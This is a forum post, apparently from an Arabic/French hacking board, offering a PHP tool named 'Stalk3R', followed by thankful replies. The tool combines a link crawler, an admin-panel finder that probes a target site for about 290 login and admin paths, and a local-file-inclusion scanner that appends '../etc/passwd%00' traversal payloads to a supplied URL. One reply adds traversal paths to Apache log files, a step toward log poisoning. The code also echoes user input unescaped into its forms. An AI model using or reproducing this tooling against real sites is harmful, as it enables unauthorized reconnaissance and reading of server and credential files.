[NEW] PHP Script TOOL StalkinG

SALAM 3ALAYKOUM WA RAHMAT ELLAH WA BARAKATOUHOU

Here is my PHP SCRIPT who do this:

  • ADMIN FINDER: Search for the path of ADMIN web site on ligne, very performante that Havij
  • LFI: Detect a LFI on the WEB SITE
  • Crawler: Search for the links that contains the WEB SITE, easier that to search on GOOGLE and for the max security…

GOOD LUCK
La TANSSOU BIDOU3AA IKOUM ddd

Stalk3R Script:


<title>Stalk3R</title>
<center><table style="background-color:#cccccc"><tr><td>
<?php

?>
</td><td>

<?php

function get_web_file( $url, $user_agent = 'Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1')
{
    $options = array(
//    CURLOPT_SSL_VERIFYPEER => false,//ne vérifie pas les certificats
    CURLOPT_RETURNTRANSFER => true,    //demande de retourner le contenu de la page web
    CURLOPT_HEADER => false,        //(--) aux headers
//    CURLOPT_FOLLOWLOCATION => true,    //suivre les redirections, limité par...
    CURLOPT_MAXREDIRS => 500,        //...le max de redirections
    CURLOPT_ENCODING => '',            //accepte tous les encodages
    CURLOPT_USERAGENT => $user_agent,    //qui je suis
    CURLOPT_AUTOREFERER => true,    // set referer on redirect
    CURLOPT_CONNECTTIMEOUT => 120,    //timeout à  la connection (s)
    CURLOPT_TIMEOUT => 0,            //temps maximum d'utilisation de cURL (s)
    );

    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $content = curl_exec($ch);    //contenu de la page
    $page['errno'] = curl_errno($ch);    //code d'erreur cURL
    $page['errmsg'] = curl_error($ch);    //message d'erreur cURL
    $curl = curl_getinfo($ch);
    curl_close($ch);

    $page['url'] = $curl['url'];    //possibles redirections (= dernière url)
    $page['http_code'] = $curl['http_code'];
    $page['total_time'] = $curl['total_time'];
    $page['redirect_count'] = $curl['redirect_count'];
    $page['content'] = $content;

    return $page;
}


function resolve_url( $raw_url, $url )
{
    $cleansed_url = '';
    $raw_url = trim($raw_url);

    //met un slash à la fin des racines si yen a pas
    if (preg_match('#^[^:/]+:/+[^/]+$#', $url))    { $url = $url.'/'; }
    if (preg_match('#^[^:/]+:/+[^/]+$#', $raw_url))    { $raw_url = $raw_url.'/'; }

    //racine du site
    preg_match("#^([^:/]+:/+[^/]+/)#", $url, $preg_racine);
    $racine = $preg_racine[1];
    //dossier courant
    preg_match('#(.+/)[^/]*$#', $url, $preg_courant);
    $courant = $preg_courant[1];
    //scheme et slashs


        /*** modif's ***/

    if ($raw_url[0] == '/')    //si $raw_url commence par un /
        { $cleansed_url = $racine . substr($raw_url, 1); }    //substr empêche le double slash

    elseif ($raw_url[0] == '.')    { $cleansed_url = $courant . $raw_url; }    //pour ./ et ../

    elseif ($raw_url[0] == '?'    ||    $raw_url[0] == '&')    //si c'est une query
        { $cleansed_url = $url . $raw_url; }

    elseif (preg_match('#^javascript\s*:#i', $raw_url))    //quand du javascript est déclaré
        { $cleansed_url = ''; }

    elseif (preg_match('#^mailto\s*:\s*((?:[^i]|i)+)$#i', $raw_url, $mail))    //quand c'est un mail
        { $cleansed_url = ''; }

    elseif (preg_match('#^[^:/]+:/#', $raw_url))    //quand raw_url est une url normale
        { $cleansed_url = $raw_url; }

    elseif (!preg_match('#^[^:/]+:/#', $raw_url))    //quand c'est tout sauf ce qu'on a dit et une url
        { $cleansed_url = $courant . $raw_url; }


        /*** après toutes les modif's ***/

    //supprime les résultats qui ne commencent pas par xxx://
    if (
        !preg_match('#^[^:/]+:/+#', $cleansed_url)    //$cleansed_url != ^http://$
        || $raw_url[0] == '#'    //$raw_url ^#
        || preg_match('#^[^:/]+:/+\s*$#', $cleansed_url)    //$cleansed_url == ^http://   $
        || !is_string($cleansed_url)
    )
        { $cleansed_url = ''; }

    if (!empty($cleansed_url))
    {
        $cleansed_url = trim($cleansed_url);

        /*** remplace /./ par / ***/
        $cleansed_url = str_replace('/./', '/', $cleansed_url);

        /*** remplace // par / s'ils ne commencent pas par : comme dans 'file:///' ***/

        $cleansed_url = preg_replace('#(?<!\:)//#', '/', $cleansed_url);    //does work!!!

        /*** supprime les /../ ***/
        while (substr_count($cleansed_url, "../"))    //tant qu'il y a des /../
        {
            $cleansed_url = preg_replace('#/[^/]+/\.\.#', '', $cleansed_url);
        }
    }

        return $cleansed_url;
}


function get_urls( $raw_page_content, $url )
{
    $matches = array();    $urls = array();

    $regexs = array(
    //    (string) '#regex#Z' => (int) parenthesized subpattern,
    //////////////////////////////////////////////////////////////////////////
    // Catch abstrait symétrique
    //thèmes récurrents en (x)?HTML - ok
        '#(?:href|src)\s*=\s*(["\'])\s*([^\1]+)\s*\1#Ui' => 2,

    // Exceptions
    //instructions robots.txt - ok
        '#(?:Disallow|Sitemap)\s*:\s+(\S+)\s*#i' => 1,
    //image en CSS - ok²
        '#url\s*\((["\']|)(?(1)([^\1]+)\1|([^()]+))\)#Ui' => 2,
        '#url\s*(["\'])([^\1])\1#iU' => 2,

    // Catch abstrait asymétrique
    //XML - (antislash pour php-> ?\>) . Ungreedy réduit l'execution - ok
        '#<([^<>\s]+)(?:\s+[^>]+)?\>\s*([^>\s:/]+:/+[^<]+)\s*</\1>#' => 2,
    //////////////////////////////////////////////////////////////////////////
    //    '' => ,
    );

    foreach ($regexs as $regex => $parenthesized_subpattern)
    {
        preg_match_all($regex, $raw_page_content, $reg_sult, PREG_PATTERN_ORDER);    //cherche avec les regexs
        $matches = array_merge($matches, $reg_sult[$parenthesized_subpattern]);    //regroupe les résultats des regex
    }
    $matches = array_unique($matches);    //supprime les doubles

    foreach ($matches as $raw_url)
    {
        if (!empty($raw_url))    //supprime les cases vides
        {
            //résoud massivement les urls trouvées//
            $res = resolve_url($raw_url, $url);//////
            ///enlève les espaces blancs des bords//

            /*** déduit des urls ***/
            if (!empty($res))    //urls
            {
                preg_match('#^([^:/]+:/+[^/]+/)(.*)$#', $res, $preg_url);

                $str = $preg_url[1];    //début de l'url suivie d'un slash
                $urls[] = $str;    //enregistre déjà ce début (utile de le mettre ici au cas ou la condition sur \2 serait false)

                if (!empty($preg_url[2]))    //si il y a un path
                {
                    //éclate le path par le slash (-> array)
                    $exp = explode('/', $preg_url[2]);    //compte "à partir" de 0
                    $k = count($exp);    //compte "à partir" de 1

                    for ($i=0; $i<$k; $i++)    //déduit des urls
                    {
                        //si on est au dernier, on ne met pas de slash à la fin
                        $str .= ($i == $k -1) ? $exp[$i] : $exp[$i].'/';
                        $urls[] = $str;    //enregistre
                    }
                }
            }
        }
    }
    natcasesort($urls);    //ordre alpha
    $urls = array_unique($urls);    //moins doubles
    $urls = array_values($urls);    //orde num (des key)

        return $urls;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
@$_GET['uri'] = trim(@$_GET['uri']);

if ( preg_match('#[^:/\s]://.+#', $_GET['uri']) && !preg_match('#[<>"\']#', $_GET['uri']) )
{//md5(uniqid(rand(), true))
    $curl['http_code'] = 404;    //défaut
    if ( preg_match('#^[^:/]+:/+[^/]+$#', $_GET['uri']) )
    {
        $_GET['uri'] = $_GET['uri'] . '/';    //rajoute le slash à la fin
    }

    $curl = get_web_file( $_GET['uri'] );    //dl
        $urls = get_urls( $curl['content'], $_GET['uri'] );    //urls trouvées
//print_r($curl);
    if ( empty($urls) )
    {
        $urls = get_urls( @file_get_contents($_GET['uri']), $_GET['uri'] );
    }

    $nombresult = count($urls);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
}
elseif ( empty($_GET['uri']) )
{
    $_GET['uri'] = 'http://';
}
else
{
    $_GET['uri'] = 'Les injections son interdites !';
    $nombresult = 0;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
        <meta http-equiv="pragma" content="no-cache"/>
        <meta name="keywords" content="crawler, robots, spider, php, radioxid, 2008"/>
        <meta name="description" content="cette page vous permet de crawler une autre page !"/>
        <meta name="robots" content="index,follow"/>
        <meta name="author" content="radioxid"/>


        <script type="text/javascript" src="jquery-1.2.6.js"></script>
        <script type="text/javascript" src="jquery.cornerz.js"></script>

        <style type="text/css">
            body { background:navy; font-family:sans-serif; }
            a { color:navy; text-decoration:none; }
            a:visited { color:black; }
            a:hover { color:blue; background:white; }
            h1 { font-family:cursive; border:1px solid lawngreen; background:lawngreen; margin:0px; text-align:center; }
            .description { text-indent:3%; }
            #haut { font-family:cursive; border:5px solid blue; background:blue; margin:20px; }
            #form { font-family:cursive; border:10px solid blue; background:navy; margin:-10px 3% -10px 3%; text-align:center; }
            #form #crawler, #form #uri { font:small; background:navy; border:1px solid navy; color:white; }
            #form #crawler:hover, #form #uri:hover { border:1px dashed white; }
            #form #crawler { font-family:monospace; padding:10px; }
            #form #uri { font-family:arial; }
            #pied #auteur:hover { background:white; color:black; }
            #pied #auteur { font:cursive; background:black; border:10px solid black; font-size:small; color:white; margin:30px 0px 0px 0px; text-align:center; }
            #resultats .arbre { font-family:cursive; font-weight:bold; font-size:small; border:10px solid green; background:green; margin:0px; padding:0; word-wrap:break-word; }
            #resultats #exposant { background:green; border:10px solid green; margin:10px 20px -10px 20px; padding-bottom:20px; }
            #resultats #exposant #nombresult { float:right; }
            #resultats #liste { border:10px solid green; background:green; margin:0px 0px 10px 0px; padding:0px; list-style:none; }
            #resultats #liste p { text-indent:3%; }
            #resultats #liste li { font-size:small; border:1px solid yellow; background:yellow; padding:0px 5px 0px 5px; margin-bottom:-15px; word-wrap:break-word; }
            #resultats #liste li:hover { border:1px solid white; background:white; cursor:pointer; }
            #resultats #liste li .r { float:right; font-family:cursive; }
            #resultats { border:20px solid red; background:red; margin:20px 20px -10px 20px;<?php print ( !preg_match('#[^:/\s]://.+#', $_GET['uri']) ) ? ' display:none;' : ''; ?> }
        </style>

        <script type="text/javascript">
        <!--
            $(document).ready(function(){
                //Blocks de résultats cliquables :: 21/08/2008
                $('#resultats #liste li').click(function(){window.location=$(this).find('a').attr('href'); return false;});

                //Bords arrondis (Cornerz v0.2) | corners:("tl br tr bl") :: 24/08/2008
                $('h1').cornerz({radius:15, background:('navy')});
                $('#haut').cornerz({radius:10, background:('navy')});
                $('#form').cornerz({radius:35, background:('navy')});
                $('#resultats').cornerz({radius:35, background:('navy')});
                $('#resultats .arbre').cornerz({radius:20, background:('red')});
                $('#resultats #exposant').cornerz({radius:20, background:('red'), corners:("tl tr")});
                $('#resultats #liste').cornerz({radius:20, background:('red')});
                $('#resultats #liste li').cornerz({radius:5, background:('green')});
                $('#auteur').cornerz({radius:15, background:('navy')});
            });
        -->
        </script>
    </head>
    <body><table><tr><td><h1>Admin Find3R</h1>
    <form action="" method="get" id="form">
<input type=text name=site id="uri" value="<?php print ( !empty($_GET['site']) ) ? $_GET['site'] : 'http://'; ?>">
<input type=submit value="Search" id="crawler">
</form></td><td><h1>Url Find3R</h1>
        <form action="<?php print $_SERVER["PHP_SELF"]; ?>" method="get" id="form">
            <p>
                <input id="uri" type="text" name="uri" value="<?php print ( !empty($_GET['uri']) ) ? $_GET['uri'] : 'http://'; ?>"  tabindex="10" accesskey="u"/>
                <input id="crawler" type="submit" value="Crawler !" tabindex="20" accesskey="k"/>
            </p>
        </form></td></tr></table><table>
        <tr>
        <td><h1>FinD LFi</h1>
        <form action="" method="get" id="form">
<input type=text name=sitee id="uri" value="<?php print ( !empty($_GET['sitee']) ) ? $_GET['sitee'] : 'http://'; ?>" size=60px>
<input type=submit value="FinD" id="crawler">
</form>
</td></tr>
        
        
        
        
        
        </table>

        <noscript style="color:red; background:white; margin:auto; padding:10px;">
            <center>/!\ Cette page <i>ne contient aucun</i> virus/trojan, <i>vous pouvez donc activer</i> <b>JavaScript<b> pour <i>cette</i> page. /!\</center>
        </noscript><br><br>
        <?php
        $sitest = @$_GET['sitee'];
        $sitelfd = array ("etc/passwd", "../etc/passwd%00", "../../etc/passwd%00", "../../../etc/passwd%00", "../../../../etc/passwd%00", "../../../../../etc/passwd%00", "../../../../../../etc/passwd%00", "../../../../../../../etc/passwd%00", "../../../../../../../../etc/passwd%00", "../../../../../../../../../etc/passwd%00", "../../../../../../../../../../etc/passwd%00", "../../../../../../../../../../../etc/passwd%00", "../../../../../../../../../../../../etc/passwd%00", "../../../../../../../../../../../../../etc/passwd%00");
        
        for($i=0;$i<13;$i++)
        {
        if(@$_GET['sitee'])
        {
         $ma_chaine = file_get_contents(''.$sitest.''.$sitelfd[$i].'');
  $trouve_moi  = 'root:';
  $position = strpos($ma_chaine, $trouve_moi);

  // Vous devez utiliser ===  car == n'affichera rien
  // car la lettre 'a' est à la position 0

  if ($position === false) {
      echo '';
      } else 
      {
      echo '<b><font color="#0000ff">Faille FinD :D</b></font><br>';
      echo ''.$sitest.''.$sitelfd[$i].'<br><br>';
      }
}}
?>

        <?php
        $url1 = @$_GET['site'];
if(@$_GET['site'])
{
$dossier = array("admin.php","login.htm","login.html","login/","login.php","adm/","admin/","admin/account.html","admin/login.html","admin/login.htm","admin/home.php","admin/controlpanel.html","admin/controlpanel.htm","admin/cp.php","admin/adminLogin.html","admin/adminLogin.htm","admin/admin_login.php","admin/controlpanel.php","admin/admin-login.php","admin-login.php","admin/account.php","admin/admin.php","admin.htm","admin.html","adminitem/","adminitem.php","adminitems/","adminitems.php","administrator/","administrator/login.php","administrator.php","administration/","administration.php","adminLogin/","adminlogin.php","admin_area/admin.php","admin_area/","admin_area/login.php","manager/","manager.php","letmein/","letmein.php","superuser/","superuser.php","access/","access.php","sysadm/","sysadm.php","superman/","supervisor/","panel.php","control/","control.php","member/","member.php","members/","members.php","user/","user.php","cp/","uvpanel/","manage/","manage.php","management/","management.php","signin/","signin.php","log-in/","log-in.php","log_in/","log_in.php","sign_in/","sign_in.php","sign-in/","sign-in.php","users/","users.php","accounts/","accounts.php","wp-login.php","bb-admin/login.php","bb-admin/admin.php","bb-admin/admin.html","administrator/account.php","relogin.htm","relogin.html","check.php","relogin.php","processlogin.php","checklogin.php","checkuser.php","checkadmin.php","isadmin.php","authenticate.php","authentication.php","auth.php","authuser.php","authadmin.php","cp.php","modelsearch/login.php","moderator.php","moderator/","controlpanel/","controlpanel.php","admincontrol.php","adminpanel.php","fileadmin/","fileadmin.php","sysadmin.php","admin1.php","admin1.html","admin1.htm","admin2.php","admin2.html","yonetim.php","yonetim.html","yonetici.php","yonetici.html","phpmyadmin/","myadmin/","ur-admin.php","ur-admin/","Server.php","Server/","wp-admin/","administr8.php","administr8/","webadmin/","webadmin.php","administratie/","admins/","admins.php","administrivia/","Database_Administration/","useradmin/","sysadmins/","admin1/","system-administration/","administrators/","pgadmin/","directadmin/","staradmin/","ServerAdministrator/","SysAdmin/","administer/","LiveUser_Admin/","sys-admin/","typo3/","panel/","cpanel/","cpanel_file/","platz_login/","rcLogin/","blogindex/","formslogin/","autologin/","support_login/","meta_login/","manuallogin/","simpleLogin/","loginflat/","utility_login/","showlogin/","memlogin/","login-redirect/","sub-login/","wp-login/","login1/","dir-login/","login_db/","xlogin/","smblogin/","customer_login/","UserLogin/","login-us/","acct_login/","bigadmin/","project-admins/","phppgadmin/","pureadmin/","sql-admin/","radmind/","openvpnadmin/","wizmysqladmin/","vadmind/","ezsqliteadmin/","hpwebjetadmin/","newsadmin/","adminpro/","Lotus_Domino_Admin/","bbadmin/","vmailadmin/","Indy_admin/","ccp14admin/","irc-macadmin/","banneradmin/","sshadmin/","phpldapadmin/","macadmin/","administratoraccounts/","admin4_account/","admin4_colon/","radmind-1/","Super-Admin/","AdminTools/","cmsadmin/","SysAdmin2/","globes_admin/","cadmins/","phpSQLiteAdmin/","navSiteAdmin/","server_admin_small/","logo_sysadmin/","power_user/","system_administration/","ss_vms_admin_sm/","bb-admin/","panel-administracion/","instadmin/","memberadmin/","administratorlogin/","adm.php","admin_login.php","panel-administracion/login.php","pages/admin/admin-login.php","pages/admin/","acceso.php","admincp/login.php","admincp/","adminarea/","admincontrol/","affiliate.php","adm_auth.php","memberadmin.php","administratorlogin.php","modules/admin/","administrators.php","siteadmin/","siteadmin.php","adminsite/","kpanel/","vorod/","vorod.php","vorud/","vorud.php","adminpanel/","PSUser/","secure/","webmaster/","webmaster.php","autologin.php","userlogin.php","admin_area.php","cmsadmin.php","security/","usr/","root/","secret/","admin/login.php","admin/adminLogin.php","moderator.php","moderator.html","moderator/login.php","moderator/admin.php","yonetici.php","0admin/","0manager/","aadmin/","cgi-bin/login.php","login1.php","login_admin/","login_admin.php","login_out/","login_out.php","login_user.php","loginerror/","loginok/","loginsave/","loginsuper/","loginsuper.php","login.php","logout/","logout.php","secrets/","super1/","super1.php","super_index.php","super_login.php","supermanager.php","superman.php","superuser.php","supervise/","supervise/Login.php","super.php");
echo "<pre>";
for ($i=0; $i<293; $i++)
{
if (@fclose(@fopen("".$_GET['site']."/".$dossier[$i]."", "r"))) {
   echo("".$dossier[$i]." ==> <font color=#f00f00>OK</font><br>");

} else {
     echo("");
    
}
}
}?>
        </pre><div id="resultats">
            <p class="arbre description">
                <?php print ( !empty($_GET['uri']) ) ? $curl['http_code'] : ''; ?> > <a href="<?php print $_GET['uri']; ?>" tabindex="30" accesskey="y"><?php print $_GET['uri']; ?></a>
            </p>
            <div id="exposant">
                <span id="nombresult"><strong><?php print ( !empty($urls) ) ? $nombresult : 0; ?></strong> résultat<?php print ($nombresult > 1) ? 's' : ' !'; ?></span>
            </div>
            <ul id="liste">
<?php



if ( $nombresult > 0 )
{
    $tabnum = 100;
    foreach ($urls as $url)
    {
        print "				" . '<li><a href="' . $url . '" tabindex="' . $tabnum++ . '">' . $url . '</a></li><br/>' . PHP_EOL;
    }
}
else
{
    print "				" . '<p><i>La page ne contient aucun lien !</i><br/></p>' . PHP_EOL;
}


?>
            </ul>
            <p class="arbre description">
                <?php print ( !empty($_GET['uri']) ) ? $curl['http_code'] : ''; ?> > <a href="<?php print $_GET['uri']; ?>" accesskey="z"><?php print $_GET['uri']; ?></a>
            </p>
        </div>

        <div id="pied">
            <p id="auteur">
                Stalk3R © 2010 - Stalk3R@LivE.CoM
            </p>
        </div>
    </body>
</html>









</td></tr></table>

Copyright (c) Stalk3R.

اهلا بيك خويا Stalk3R من مدة على موضيعك.

المهم تشكر اخى.

Thank you :smiley:

صحيت خويا سكريبت رائع :wink:

[b] [SIZE=3]نسيت رابط مكتبة jquery

[/SIZE][/b]

رائع رائع رائع جدااا …(: شكررا لك

ينقل لمكتبتي الخاصه

Oui pour le lien JQUERY Vous pouvez le retrouver sur internet c facile ^^

3afwan :smiley:

شكرا ليك على السكريبت الاكثر من رائع … تسلم اخي

U can add a detection of LOG

<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/etc/httpd/logs/access.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache/access.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache2/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache2/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache2/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/apache2/access.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/www/logs/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/www/logs/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/www/logs/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/www/logs/access.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/usr/local/apache/logs/access.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/error_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/error.log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/access_log”,
<li style=“font-weight: normal; vertical-align: top;”>“…/…/…/…/…/…/…/…/…/…/var/log/access.log”

باك … + راح اخذ الكراولر لتطوير في مشروع أخر لي :wink:

جميل
يحتاج بعض اللمسات السحرية :d